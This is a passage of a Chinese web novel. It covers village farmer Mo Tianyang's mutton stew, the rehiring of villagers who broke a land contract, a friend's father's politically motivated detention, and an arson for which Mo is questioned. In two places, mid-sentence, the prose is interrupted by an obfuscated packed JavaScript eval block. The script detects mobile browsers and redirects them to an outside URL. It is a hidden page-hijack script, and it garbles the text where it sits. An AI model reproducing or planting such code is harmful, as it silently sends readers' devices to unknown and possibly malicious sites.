这话让颜若曦愣了一下，清澈的杏眸中满是诧异。她很清楚莫天扬的底细，也在青木村住了这么久，知道他最近确实常在研究中草药，但没想到他竟然已经能自己配制药水了。 “你自己配的药？那……靠谱吗？”她忍不住追问，语气中带着关切。 看着颜若曦惊讶又担心的样子，莫天扬轻松地笑了笑：“放心好了，我自己试过好多回了，绝对没任何副作用，喝不**。” 颜若曦被他这话逗笑了，嗔怪地看了他一眼，随即也起了心思：“那……也给我弄一点呗？我留着备用。” “你天天就在菜地、院子转转，还能摔着碰着？”莫天扬打趣道。 “我不管，反正我也要！”颜若曦带着几分难得的娇嗔坚持道。 莫天扬哈哈一笑：“行行行，回头也给你准备一些。” 两人正说笑着，看到王海龙提着一个沉甸甸的大袋子从村口大路上走过来。 “海哥，回来了！”莫天扬招呼道。 “回来了！”王海龙扬了扬手中的袋子，笑容满面，“老徐他们今天弄到一批顶好的草原羊，非得让我带两条后腿回来，说给大伙儿尝尝鲜，也让你看看这羊肉的品质。” 颜若曦闻言，微微蹙了蹙眉头，她对羊肉的膻味有些抵触。 王海龙看在眼里，笑着对她说：“若曦，你还不知道吧？咱们那‘青木餐馆’这几天可是火得不得了！天天爆满，很多人提前一两个小时就去排队，就为了吃上那一口炖肉。最近新推出来的炖羊肉，简直卖疯了，餐馆一天就能卖出两三只整羊！” 颜若曦惊讶地看向莫天扬：“炖羊肉……真的那么好吃？” 莫天扬自信地一笑：“那是当然！中午我就露一手，你尝尝就知道了。”他转头对王海龙说：“海哥，再去池塘捞三条新鲜的花鲢上来。” “好嘞！”王海龙痛快地应声而去。 虽然颜若曦不太喜欢羊膻味，但她对莫天扬的厨艺有着近乎崇拜的信任。于是，当莫天扬在厨房里处理那两条羊腿时，她一直在旁边好奇地看着。 只见莫天扬将清洗好的大块羊肉放入大锅中，只加了一碗清水和一小把盐，再没有其他任何调料。这让颜若曦惊讶地瞪大了眼睛。 “天扬，这就是你说的炖羊肉？就这么简单？”她难以置信地问道。 在一旁帮忙烧火的陈峰闻言哈哈一笑，插话道：“若曦，这你就不懂了吧？最好的炖羊肉，讲究的就是个‘盐煎羊肉’，一碗水、一把盐，看着简单，实则最考验炖肉人对火候和时间的掌控了。当年我看莫叔不知道炖了多少回，自以为学到了精髓，可自己一做，那味道跟莫叔炖的简直一个天上一个地下！” “还有这种说法？”颜若曦还是第一次听说。 这时，王海龙提着三条活蹦乱跳的大花鲢回来了，接口道：“没错！我有个朋友以前就是专业厨师，他炖的羊肉也算一绝了，可尝了天扬炖的，也是佩服得不行。咱们这边的人，对吃羊肉最是挑剔，可就在‘青木餐馆’，愣是没一个人能挑出毛病来。现在每天卖得最火的，就是这炖羊肉和炖鱼！” 在一旁洗菜的曹慧也听得满脸惊讶，看向王海龙：“真的这么火？” “火得一塌糊涂！你有空去看看就知道了，饭点儿根本挤不进去。”王海龙语气肯定。 曹慧眼中顿时流露出期待和跃跃欲试的光芒，她看向莫天扬：“天扬，这炖羊肉、炖鱼的手艺，能教教我不？” 莫天扬一边看着锅里的火候，一边爽朗地大笑：“教！慧姐你想学什么，我都教！” 中午时分，随着去地里干活的人们陆续回来，胡标、曹勇他们刚进院子，就被一股浓郁诱人的肉香勾住了脚步。众人不约而同地深吸一口气，眼睛瞬间亮了起来，目光齐刷刷地投向正被颜若曦和刘思雨围着、讲述当年故事的莫啸老爷子。 “莫叔！今天终于炖羊肉了？这一口我们可盼了不知道多久了！”胡标笑着大声说道，脸上满是期待。 莫啸老爷子笑着指了指正在灶台边忙碌的孙子，语气里带着自豪和一点“退休”的惬意：“我现在可是退休喽，掌勺的是天扬。” 胡标哈哈一笑，看向莫天扬：“还真没正经吃过天扬炖的羊肉呢，今天可算赶上了！” 说完，他想起正事，接着道：“天扬，下午那批羊就送过来了。我和曹勇上午转了一圈，觉得就在院墙外东边那片空地盖羊棚挺合适，地势平整也背风，你看怎么样？” “行，”莫天扬一边看着锅里的火候，一边点头，“记得离外墙远点儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226374|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，过段时间外墙都得拆了扩建。” “慧姐，准备大盆，羊肉和炖鱼都能出锅了！”莫天扬朝外面喊了一声。 餐厅里，颜若曦和刘思雨看着陈宏利端上来那一大盆热气腾腾的炖羊肉，互相看了一眼。虽然几乎闻不到令人不快的膻味，但对于几乎从不吃羊肉的两人来说，要下决心尝第一口，确实需要点勇气。 莫天扬擦着手走进来时，大家已经开动。刘思雨和颜若曦谨慎地先夹了炖鱼，而其他人则毫不犹豫地将筷子伸向了那盆诱人的炖羊肉。 随后，她们就看到每一个吃到羊肉的人，脸上都瞬间浮现出一种极度满足和陶醉的神情，咀嚼的动作都慢了下来，仿佛在细细品味。这场景让两人的好奇心被彻底勾了起来。 “天扬，这炖羊肉真是绝了！味道一点不输莫叔当年！”有人忍不住大声赞叹。 一句接一句的由衷赞扬，终于让刘思雨和颜若曦也忍不住频频看向那盆迅速减少的羊肉。 曹慧看着她俩跃跃欲试又犹豫的样子，不由得咯咯笑起来，拿起公筷：“若曦、思雨，来，我给你们挑一块最好的——就得是这肥瘦相间的肋条肉，最香！” 两人看着碗里那块带着肥肉略显多的肋条，还是微微蹙了下眉。但环视周围众人不断伸向肉盆的筷子，她们交换了一个眼神，仿佛下定了决心，同时夹起了碗里的羊肉。 小心翼翼地送入口中，轻轻一嚼——两人的眼睛几乎是瞬间亮了起来！ 那羊肉看似肥腻，入口却丝毫没有预想中的油腻感。肥肉部分如同凝脂，几乎是入口即化，瞬间转化成一股浓郁而纯粹的肉香，在口腔里弥漫开来。更让她们惊喜的是，这肉香之中，竟然真的没有一丝她们所讨厌的羊膻味，只有一种难以言喻的鲜甜和醇厚。 “好吃不？”曹慧笑眯眯地看着她俩瞬间变换的表情问道。 两人都只顾着点头，根本顾不上回答，手下意识地又伸向了桌上的羊肉盆，自己动手丰衣足食了。 一大块羊肉下肚，两人丝毫没有停下的意思，又各自夹了一块。颜若曦一边吃，一边带着些许懊恼笑道：“我一直以为羊肉都膻，不好吃，这么多年，都不知道错过了多少人间美味……” 陈峰闻言哈哈一笑，解释道：“若曦，可不是所有人炖出来的羊肉都能有这个味儿！就咱们这十里八乡，论炖羊肉的手艺，还真没一个人能比得上莫叔，现在看，天扬是尽得真传了！” “这肉到底是怎么炖的？快说说秘诀，”颜若曦兴致勃勃地追问，“我爸妈其实也好这一口，回头我让他们也学学。” 没等莫天扬回答，旁边的曹慧就笑着抢答：“秘诀？一碗水，一把盐，最后撒点葱花！简单吧！” 刘思雨微微一愣，有些难以置信：“就这么简单？” “看着是简单，”莫天扬这才笑着接话，擦了擦手，“可就像峰叔说的，最难的是把握火候和时间。什么时候用文火慢煨，什么时候得大火收汁，差一点，味道可就差远了。” “天扬，明天我自己去买羊肉，你帮我炖，行不行？”刘思雨立刻说道，眼里满是期待。 莫天扬看着她那馋嘴的样子，不由笑道：“想吃了说一声就行，我让人买最好的羊，管够。” 第一百四十五章轻松拿捏 吃过午饭，胡标就带着一帮人手去规划好的地方搭建羊场。有大青和它的狼群在周围巡视，人们根本不用担心山里的野兽会下来祸害羊群。 这边羊场的围栏才刚刚立起来，订购的羊群就准时送到了。听到外面热闹的动静，莫天扬也从屋里走了出来。羊群规模不算大，但在他看来，这却是事业迈出重要一步的基石，意义非凡。 他刚走近羊群，还没来得及细看，就被一群人给围住了。莫天扬心里不由得苦笑一下——来的正是以王喜山为首的那帮人。前些天他天天早出晚归去县里，都**标、曹勇他们帮忙挡了回去。今天自己难得留在村里，到底还是被他们堵了个正着。 “天扬，今天不忙了啊？”王喜山等人挤着笑脸打招呼，语气带着刻意的热络。 看到王喜山这伙人把莫天扬围住，胡标、曹勇、陈峰几个都不由得皱紧了眉头，手里的活儿也慢了下来。他们太清楚这些人来找莫天扬是想干什么了。 何止是他们，就连周围看热闹的村民，也都明白王喜山他们的来意。不少人看向他们的眼神里都带着毫不掩饰的鄙夷。毕竟当初是莫天扬先给了他们机会，是他们自己贪图挖沙那点蝇头小利，撕毁了合同，让莫天扬白白损失了好几万。 “大家伙这是……”莫天扬面上不动声色，平静地问道。 “胡标，你没跟天扬说我们的意思？”王喜山有点着急地看向胡标。 胡标的眉头拧得更紧了，语气硬邦邦的：“王喜山，我说的就是天扬的意思！一个字都不差！” 王喜山眼神闪烁了几下，避开胡标的目光，转而对着莫天扬，努力让笑容显得更恳切些：“天扬，之前那事……的确是我们不对，欠考虑。可不管怎么说，咱们都是一个村的，乡里乡亲……” 莫天扬心里叹了口气，脸上依旧平静：“喜山叔，标叔说的，就是我的意思。您去周围村子打听打听，一亩上好的熟地，承包价也不过一百五六，水浇地才能要到四五百。您们那沙地，虽说表层沙子被挖走了，可露出来的全是生土！咱们都是种地的，谁不知道生土板结、没肥力，想养熟种出好庄稼，得下多少功夫、花多少本钱？一亩地开口就要二百，我要是真包了，周围村子的人还不得戳着我的脊梁骨骂我败家？” “王喜山，你们让天扬亏了那么多钱，天扬没跟你们计较已经够意思了！你们还有脸要一亩二百？那么好的地，你们自己怎么不留着种？”有围观的村民忍不住高声呛道。 被当众这么挤兑，王喜山等人脸上也有些挂不住，一阵青一阵白。他们当然知道周边的地价，无非是瞅准了莫天扬种菜赚钱的本事，觉得能从他这儿多抠出点油水，才敢狮子大开口。 “天扬有种菜的技术嘛，二百……二百也不算贵啊……”王喜山讪讪地辩解，声音却低了不少。 “天扬能赚钱是人家的本事！合着人家能赚钱，你们就敢坐地起价？天扬当初为了收拾你们那些破地，投了多少钱打井、买肥？还好心让你们来打工赚钱！你们倒好，转脸就为了别人多给几块钱把合同撕了！现在还有脸拿那点地来说事，你们还要不要脸了！”另一个村民气愤地喊道。 “我们跟天扬说事，天扬还没发话呢，你们着什么急？咸吃萝卜淡操心！”被众人你一言我一语地针对，王喜山也急了，脸红脖子粗地反驳。 莫天扬看着这场面，淡淡一笑，语气依旧平和，却带着不容商量的坚决：“喜山叔，您们也听到了。不是我不念乡亲情分，是您们这地，我真包不起。我不能为了这点地，让十里八乡承包土地的人都骂我坏了规矩。” 王喜山等人都是一愣，没想到莫天扬这么干脆。王喜山脸上努力挤出的笑容都快挂不住了，他急忙说：“天扬，价格……价格咱们好商量嘛！” “那您说，多少合适？”莫天扬看着他。 “要不……要不就按周围村子的价，一百五一亩？你看怎么样？”王喜山试探着问，眼神里带着最后一丝期望。 莫天扬深吸一口气，目光转向远处那片被挖得坑坑洼洼、露出灰白色生土的沙地，沉默了几秒，才缓缓开口：“喜山叔，要不……您们先去其他村子问问，看看他们愿不愿意包咱们村这样的地，如何？” 这话一出，王喜山那伙人瞬间全都僵住了，脸色变得异常难看。青木村沙漠化严重，土地贫瘠，这是谁都知道的事实。往年别说承包了，就是白给人种，都没人愿意接手。当初可是他们求着莫天扬承包那些沙地，甚至说一分钱不要都行，是莫天扬心善，主动给了他们一亩五十块钱。现在他们却…… “王喜山，当初可是你们自己求着天扬种你们的地，说一分钱都不要！是天扬厚道，硬给了你们一亩五十！现在你们居然还敢要一百五？你们真是想钱想疯了吧！”围观的村民中，有人毫不客气地揭开了老底，引来一片附和之声。 王喜山等人站在那儿，被臊得满脸通红，再也说不出一句话来。 “王喜山，这下该死心了吧，那会天扬是真的想要带你们赚钱，可你们做的也太过分，这现在还漫天要价，天扬说得对，你们去周围村子问问，看看谁愿意种你们的地。” “天扬，那件事……的确是我们对不住你。”一个名叫存叔的中年人讪讪地开口，脸上带着恳求，“你看这样行不？地，你白种！只要……只要能让我们还跟着你干，像以前一样就行。” 莫天扬看向他，语气平静却点明了关键：“存叔，这话，您一个人可代表不了大家伙。” 到了这个地步，王喜山他们哪还能不明白，莫天扬是真的对他们那点地没多大兴趣了。现在有人率先低头，这或许是最后的机会。一想到这三个月来，跟着莫天扬干的胡标、曹勇等人，哪个不是真金白银地拿到了工钱，最少的都有三千多块，他们心里就更不是滋味了。 意识到这可能是最后的台阶，王喜山等人互相看了一眼，交换着眼神。最终，王喜山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226375|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深吸一口气，作为代表硬着头皮说道：“天扬，我们都同意！地就按存叔说的，你怎么方便怎么来。我们……我们就想和胡标、曹勇他们一样，能在你这儿有个班上，有份稳当收入就行。” 莫天扬目光扫过这群面露期盼又带着尴尬的乡亲，眼眸闪烁了几下，沉吟片刻才开口道：“行。不过话得说在前头，今年剩下的时间，只能用临时工的身份，工钱日结，干一天算一天。等到明年开春，要是大家还愿意，也都踏踏实实好好干，到时候再和标叔他们一样，签正式的合同。” “行！行！没问题！”见莫天扬终于松口，王喜山等人如蒙大赦，忙不迭地点头答应，生怕他反悔。 “天扬，那……那我们这些没沙地的，你能不能把我们的地也包了？”旁边看热闹的村民里，有人忍不住高声问道，语气里也带着期盼。 莫天扬转向众人，朗声道：“乡亲们，我现在的摊子就这么大，能力有限。先拿喜山叔他们这些沙地试试手，摸索摸索。要是明年真能弄出个名堂，把生地养熟了，赚到钱了，咱们再商量大家的地，怎么样？” 虽然没有立刻承诺，但总算留下个活话，这让那些没有沙地的村民也看到了希望，纷纷激动地议论起来。 “天扬，那我们这些老家伙……以后是不是就不能给你打临时工了？”一位老人关切地问。 “用！怎么不用！”莫天扬肯定地回答道，“只要大家愿意来，我这儿的活儿还多着呢！” “天扬，那合同……啥时候签？”王喜山急着把事情定下来。 “就这一两天吧，我得准备一下合同。”莫天扬看着他们，语气变得严肃了些，“不过这次合同会和上次不一样，里面会加上违约金的条款。要是再半道撕毁合同，可是要赔钱的。大家伙都想清楚了再签。” “没问题！肯定没问题！”众人纷纷应和。莫天扬愿意重新接纳他们，还让他们有活干，这已经让他们喜出望外，顾不上想别的了。更何况，在他们心里，莫天扬终究是那个老实厚道的后生，不会坑骗他们。 王喜山一行人这才心满意足、高高兴兴地离开了。 等他们走远，莫天扬和胡标、曹勇等人回到帐篷下。胡标冲着莫天扬竖起大拇指，由衷叹道：“天扬，你是这个！这事儿处理得漂亮！” 曹勇也点头：“是啊，既没把路堵死，也没让他们觉得太好说话，还立了规矩。” 莫天扬却微微叹息一声，脸上并没有太多喜悦：“标叔，合同……还是按照原来一亩五十的价格写吧。” 胡标愣了一下：“他们不是说……白种都行吗？” “算了吧，”莫天扬摇摇头，目光看向远处那些已然变了模样的土地，“毕竟人家的沙地变成了能种庄稼的生土，说起来，还是我占了大便宜。乡里乡亲的，都不容易。” 胡标和曹勇闻言，相视一眼，眼神中都流露出一丝敬佩。他们知道，莫天扬这是心里始终揣着一份乡情和厚道。 第一百四十六章阴暗 “天扬，思雨回来了，不知道怎么了，一回来就躲进屋里，一直在哭。”曹慧的声音带着焦急，从门外传来。 正埋头研究药草古籍的莫天扬闻言微微一怔，抬起头：“她不是去乡里办事了？” 他放下书，和闻声过来的颜若曦对视一眼，两人一同快步走向刘思雨的房间。 推开虚掩的房门，只见刘思雨独自坐在床沿，肩膀微微抽动，正无声地垂泪。听到动静，她慌忙低下头，用手背胡乱擦拭着脸颊，似乎不想让莫天扬看到自己如此狼狈的模样。 “思雨，怎么了？是不是在村里受什么委屈了？”莫天扬放缓声音，关切地问道。 刘思雨摇摇头，泪水却掉得更凶，哽咽得几乎说不出话：“不是……是我爸……我爸被他们带走了！” 莫天扬瞳孔猛地一缩，神情瞬间变得严肃：“什么？不是说调查清楚刘叔没有任何问题吗？怎么会又被带走？” “是因为……因为两罐茶叶……” 刘思雨吸着气，努力平复情绪，“好几年前，我爸的一个初中同学从南方回来，偶然遇到，来家里吃了一顿饭，临走时送了我爸两罐铁观音……很普通的茶叶。我爸当时也没在意，还在单位跟同事随口提过……可现在，他们、他们就说这是受贿，凭这个就把我爸带走了！” “思雨，你爸和那个同学之间，后来有没有什么经济往来或者利益输送？”莫天沉声问，抓住关键。 “绝对没有！”刘思雨抬起头，眼圈通红，语气却异常肯定，“那就是一次普通的同学聚会，之后几乎再没联系过。人家在南方做大生意，怎么可能和我爸有什么瓜葛。” 莫天扬深吸一口气，心中已然明了：“这恐怕……又是林浩宇在背后搞鬼，故意针对刘叔。” 刘思雨重重地点头，眼泪再次涌出：“我和我妈也是这么想的……我爸被直接带去沛川了……他们就是不肯放过我们……” “这个林浩宇，真是该死！”一旁的颜若曦忍不住冷声开口。当她吐出这句话时，那双漂亮的杏眸中竟透出一股令人心寒的冷冽锋芒。 “事情本身不难澄清，”莫天扬尽量让自己的语气显得镇定，“就算他们非要揪住不放，两罐茶叶也构不成大问题，至多给个处分警告……” 然而，颜若曦却摇了摇头，神色凝重地打断他：“天扬，你把事情想得太简单了。这里面的水，深得很。林家势大，盘根错节。如果他们铁了心要往死里整刘叔，有的是办法罗织罪名，甚至……伪造证据。一旦被他们做成铁案，刘叔很可能就……” 她没有再说下去，但意思已经再明白不过。 刘思雨娇躯猛地一颤，脸色瞬间变得惨白如纸。莫天扬的心也随之一沉。他至今仍不清楚颜若曦的确切来历，但早已从她平日不凡的谈吐和见识中猜到几分。此刻她能说出这番话，绝非危言耸听，而是深知其中可怕的运作规则——这些都是他这个普通农民从未接触过、甚至无法想象的阴暗面。 “若曦，那……那该怎么办？”刘思雨的声音带着绝望的颤抖，“我爸他真的从来没做过任何违法乱纪的事啊！” “思雨，你别想太多，”颜若曦稳住心神，握住刘思雨冰凉的手，分析道，“一般情况下，他们也不敢如此明目张胆地构陷，毕竟风险极大，一旦曝光，他们自己也会万劫不复。现在这样做，更大的可能性还是林家，特别是那个林浩宇，想通过这种极端手段逼你就范，让你屈服。所以，你更要稳住，尤其要小心林浩宇接下来的举动。” 莫天扬眼神闪烁，迅速理清思绪，沉声道：“思雨，若曦说得对。既然刘叔行得正坐得端，我们就要有底气。你现在千万不能自乱阵脚。阿姨身上还有伤，情绪肯定更脆弱，你现在最应该做的，是回去陪着她，稳住她。” 颜若曦立刻点头附和：“对，你是阿姨的主心骨。你要是先乱了，阿姨那边就更撑不住了。” 刘思雨深吸了几口气，努力平复翻涌的情绪。她看向颜若曦，眼中带着恳求：“若曦，你……你能陪我一起回去吗？有你在旁边，也能帮我劝劝我妈。这段时间，她一直陷在自责里，总觉得如果不是她当初有意撮合，我和那个林浩宇根本不会有任何交集，我爸也不会……” “行，我陪你回去。”颜若曦毫不犹豫地答应，“你等我一下，我简单收拾点东西。” 颜若曦转身离开房间。屋内暂时只剩下莫天扬和刘思雨。 刘思雨抬起泪眼婆娑的脸，无助地看向莫天扬。莫天扬心中微叹，上前一步，抬手轻轻揉了揉她的头发，动作自然而带着安抚的力量。 “别怕，”他的声音低沉而令人安心，“邪不压正。他们权势再大，也不可能一手遮天。总会办法的。” 这亲昵的举动让刘思雨苍白的俏脸上泛起一丝红晕，心中涌起一股难以言喻的甜意和依靠感。她轻轻点头，情绪似乎稳定了许多：“嗯，我没事了……谢谢你，天扬。” “那你快收拾一下，脸都哭成小花猫了。”莫天扬语气温和，带着一丝不易察觉的怜惜。 “你……”刘思雨下意识摸了摸自己的脸，有些不好意思。 莫天扬淡淡一笑，转身推门出去。走到屋外，他深吸了一口微凉的空气，心情却愈发沉重。他大步走向远处无人打扰的荒地，拿出手机，迅速拨通了赵兴胜的电话。 “天扬，你在哪儿呢？快来看看吧，餐馆这边现在就开始有人排队了！”电话刚一接通，就传来赵兴胜兴奋又带着点忙乱的声音。 “胜哥，我这边有点急事。”莫天扬打断他，语气凝重，“我一个朋友的爸爸被带到沛川去了，应该是林浩宇在背后搞的鬼。我担心林家会在那边罗织罪名，栽赃陷害。你们想办法抽个人，马上去沛川盯着点，务必确保我朋友父亲的安全，也留意对方有什么动作。” “行！明白了！”电话那头的赵兴胜语气瞬间变得严肃。过来这么些天，这是莫天扬第一次正式给他们分配任务，他自然不敢有丝毫怠慢。 挂断电话，莫天扬再次深深吸了口气。他并不完全清楚徐志国、赵兴胜他们具体能用什么手段，但此刻，这是他所能想到的、唯一能保护刘成祥的方式。 当他回到大院时，看到李国强和徐明辉正站在不远处闲聊。莫天扬心头一动，朝他们招了招手：“强哥、辉哥，你们过来一下。” 他带着两人朝更僻静的地方走去。李国强和徐明辉对视一眼，心里都明白莫天扬肯定有要紧事，因为寻常小事，他绝不会避开胡标他们。 “天扬，刚才看见刘思雨哭着跑回来，是不是……”李国强率先开口，语气带着关切。 莫天扬点点头，将刘成祥的事情言简意赅地说了一遍。“……强哥、辉哥，我已经联系了胜哥他们。但最近餐馆实在太忙，他们最多只能抽掉出一个人手。咱们这边这几天不算忙，我想请你们两位也跟着过去一趟。人多一点，互相有个照应，我也更放心。” “没问题！”徐明辉立刻应道，“我这就去跟海龙说一声，让他这两天多费心盯着这边。” “强哥、辉哥，”莫天扬补充道，“等下思雨要回县里，你们正好坐她的车一起去浅驼。另外，我担心这段时间林浩宇还会去纠缠思雨，麻烦你们跟胜哥他们通个气，早晚多留意一下思雨家小区附近的情况。” 安排妥当，看着刘思雨的车载着颜若曦、李国强、徐明辉离开，莫天扬心里稍安，但一种无所事事的空落感又浮了上来。他信步走向酒坊方向。 几天功夫，准备用来生豆芽的简易房已经搭建起来。两排房子虽然简陋，但在莫天扬眼里，这些都是未来实实在在的摇钱树。 “天扬，来得正好！”胡振南看到他，笑着招呼道，“最早的那一炉酒，这都封了二十多天了，酒香味越来越浓！咱们这屠苏酒，到底啥时候能出炉啊？大家都馋坏了！” 莫天扬闻言哈哈一笑，暂时抛开了烦心事：“心急可吃不了热豆腐。咱们这屠苏，讲究的是九蒸九酿，功夫不到，味道就差得远。不过放心，八月十五之前，肯定能让大伙儿喝上第一杯新酒！” 说完，他看向胡振南和其他几个学徒：“这几天酿酒，手法上还有什么搞不明白的地方没？” “有你这么个师父手把手地教，我们再笨也学会了！”一个年轻学徒挠着头笑道，“就是还有点手生，怕火候掌握不好。” “没事，熟能生巧，慢慢来，别着急。”莫天扬鼓励道。 这时，胡振南像是想起什么，压低了些声音说：“对了，天扬，刚才我出去买烟，看见莫栓又回来了。正逼着那些把沙地包给他的人退钱呢！连玉虎当初打井垫进去的钱，都被他要回了一大半！” 莫天扬不由得摇头，语气带着几分鄙夷：“他本来就是个草包。让他干点讹人、害人的勾当，他可能在行；但真想正儿八经做点事情，他根本就没那个脑子，也没那个耐心。” 第一百四十七章纵火？ 大院中，莫天扬看到了正在监工的吕建国，便走上前去：“吕哥，这房子大概什么时候能全部完工？” “放心，”吕建国拍了拍胸脯，“八月十五中秋节之前，保证能让你搬进来住。” “那就好。天扬，我正想找你商量呢，”吕建国指了指院子里那片长势喜人的蔬菜，“这院子里的菜……” “快了，”莫天扬估算了一下，“再有个十天半月就能摘完了。” “成，那我知道了，我这边就开始做动工的准备了。”吕建国点头，随即又想起什么似的问道：“对了，你之前说西边那片地……” 莫天扬微微一笑：“那也是我的宅基地。” 吕建国猛地一愣，眼睛瞬间瞪大了。这段时间他几乎天天在这儿监工，建酒坊的时候也去看过。西边那片地紧挨着雀沟，面积可不比现在这个院子小。要是两片地连在一起，那可是足足十几亩啊！ 按照现在的建造规模，要是把两个院子都建起来，简直能打造成一个小型的度假村了。 “天扬，你可真行啊！”吕建国忍不住赞叹，“那片地你打算怎么规划？” 莫天扬苦笑着看了眼正在装修的二层小楼：“吕哥，你也知道，就这个院子的钱，还都是王哥他们借给我的。这笔债都不知道什么时候能还清，哪还有钱再盖房子啊。” 吕建国了然一笑：“这院子的钱对普通人来说确实是天文数字，但对王传林他们那几个来说，也就是几顿饭的事儿。我看得出来，他们是真把你当朋友。只要你开口，他们肯定不会推辞。” 莫天扬轻轻叹了口气：“还是等还清这个院子的钱再说吧。我现在是想请你帮个忙，把靠近雀沟的那片区域好好加固一下。虽然我现在没能力盖房子，但也不能眼睁睁看着那片地塌陷下去。” “这个没问题，”吕建国爽快地答应，“等下我就带人过去看看。对了天扬，”他想起什么似的补充道，“院子如果动工的话，土方量可不小，你打算怎么处理？” “外面那些沙地我又拿回来了，”莫天扬早就想好了，“到时候把挖出来的土方都拉到那些地里，平整一下就能用。” 夜幕降临，众人聚在餐厅吃饭。少了颜若曦和刘思雨两人，莫天扬总觉得餐桌上空落落的，少了往日的热闹。 饭后，大家聊了会儿天，便陆续回家了。莫天扬独自在大院里转了一圈，当他走出院子时，眼角余光忽然瞥见一抹异样的红光，心头猛地一跳。 他转头望去，只见雀沟方向竟有大片火光冲天而起，瞬间映红了夜空。 “不好！”莫天扬瞬间反应过来，急忙掏出手机打电话给胡标等人。 不过几分钟工夫，青木村的男女老少全都聚集到了雀沟边。沟里的胡杨和红柳已经燃起熊熊大火，火借风势，迅速蔓延。 青木村本就缺水，沟中大半胡杨、红柳早已枯死，此时更是成了最好的燃料。村民们拿着工具奋力扑救，却只是杯水车薪，根本无法控制火势。 消防车很快赶到了村子，但经过一个多小时的猛烈燃烧，整个雀沟的胡杨、红柳乃至沙棘丛几乎全部化为灰烬。幸好消防队员及时在靠近青木山的区域开辟了一条隔离带，这才阻止了大火向山中蔓延。 当东方天际泛起鱼肚白时，雀沟边上，青木村的男女老少个个筋疲力尽，满面烟灰。人们望着沟底被烧成焦炭的红柳、胡杨和沙棘丛，许多老人的眼中噙满了泪水。 青木村干旱少雨，这些年来村里的胡杨、红柳不断枯死。雀沟中这片最后的绿荫，承载着村民们太多的记忆与念想。如今一把大火，将这一切化为乌有，让每个人都难以接受这残酷的现实。 事已至此，没有一个人不感到悲痛。许多老人回家时，都是抹着眼泪、步履蹒跚地离开。 就在村民们拖着疲惫不堪的身子，准备回去稍作歇息时，一阵凄厉的警笛声再次划破了青木村的宁静。人们不由自主地跟着警车方向望去，心中都存着一丝期望，希望执法者能尽快找到那可恶的纵火者。 警车停在了莫天扬大院外的空地上。刚洗了把脸的莫天闻声走出房间，看到从车上下来的执法人员，不由得微微一愣。 “你就是莫天扬？”一名执法人员上前问道。 莫天扬下意识点头：“我是莫天扬。” “根据记录，你是第一个打电话报警的人，而且你的住所就紧挨着雀沟。我们怀疑你与本次纵火案有关，需要带你回去配合调查。” 这番话让跟过来的村民们都愣住了，他们纷纷诧异地看向莫天扬，却见莫天扬的眼中同样写满了错愕。 “同志，你们搞错了吧？”胡标急忙上前解释，“昨天我们一直和天扬在一起，刚分开还没走到家，他就打电话通知我们救火了。这火怎么可能和他有关系？” “有没有关系，不是你们说了算的。不仅是莫天扬，你们每个人都可能要接受调查。我们办案讲的是证据。” “可是……” 莫天扬摇摇头打断道：“标叔，别说了。我相信执法部门会调查清楚的。” 莫天扬被带走的场面让所有村民感到难以置信。他是大家看着长大的孩子，谁也不相信他会纵火。更让人想不通的是，为什么只有莫天扬一人被带走。 直到上车离开时，莫天扬看到执法人员开始分组对村民进行问话，心头突然一动，产生了一种不祥的预感——这次雀沟纵火，恐怕是有人故意针对他。想到这，莫天扬不由得警惕起来。 在一间审讯室里，莫天扬不知道回答了多少问题。让他郁闷的是，同样的问题被反复询问，仿佛在试探他的反应。 临走时心里就存了警惕，莫天扬明白这些人是在试图扰乱他的思绪，诱导他说出对他们有用的供词。尽管内心不耐烦，他还是耐心地重复着同样的回答。 整整一个星期，莫天扬接受了多轮询问。到最后，对方一开口，他就能猜到他们要问什么。 这天，莫天扬看了眼窗外，苦笑着摇头，知道新一轮的询问即将开始。 随着房门打开，一名执法人员走进来。莫天扬习惯性地起身，却听到对方说：“你可以回去了。” “怎么？纵火者找到了？” “还没有。但从青木村村民的证词中，我们确认了你不在场的证明。此外，我们在雀沟一处找到了纵火者的脚印和丢弃的汽油桶。检查你的住所后，没有发现汽油残留，而现场脚印也与你的不符。” 莫天扬内心苦笑。这一个星期来，对方不断试探引导，幸亏他多留了个心眼没有上当。按理说二十四小时后就该释放他，却硬是被关了一周。若不是他心志坚定，恐怕…… “那我是不是已经洗清嫌疑了？” “是暂时排除嫌疑。你回去后要保持通讯畅通，如果有新情况，我们会随时通知你配合调查。” 拿回手机，莫天扬走出执法局。看着早已关机的手机，他深吸一口气，拦了辆车回村。 回到青木村，虽然已过去一周，空气中仍弥漫着草木烧焦的气息。莫天扬下车后不由得皱起眉头——帐篷那边空无一人，只有大青、小白和半大青狼在。 带着疑惑，他走向简易房，随即又皱紧了眉头。爷爷不在房间里，而他的房间被翻得乱七八糟。 去颜若曦和刘思雨的房间看了一眼，也是空无一人。莫天扬心中的不安越发强烈。 菜地里不见人影，只有工人们还在继续装修。感觉到气氛异常，莫天扬立即赶往酒坊。 在酒坊中，他终于看到了爷爷和颜若曦。颜若曦注意到莫天扬，微微一怔，眼中流露出欣喜与激动。 “你回来了！” 莫天扬点点头，急切地问道：“其他人呢？” 颜若曦苦笑着看了眼莫啸，“从那天你被带走，标叔他们这些人也被分组询问，他们说为了避免串供，不允许任何人和其他人接触，到现在所有人都不允许过来，所以这一个星期……” 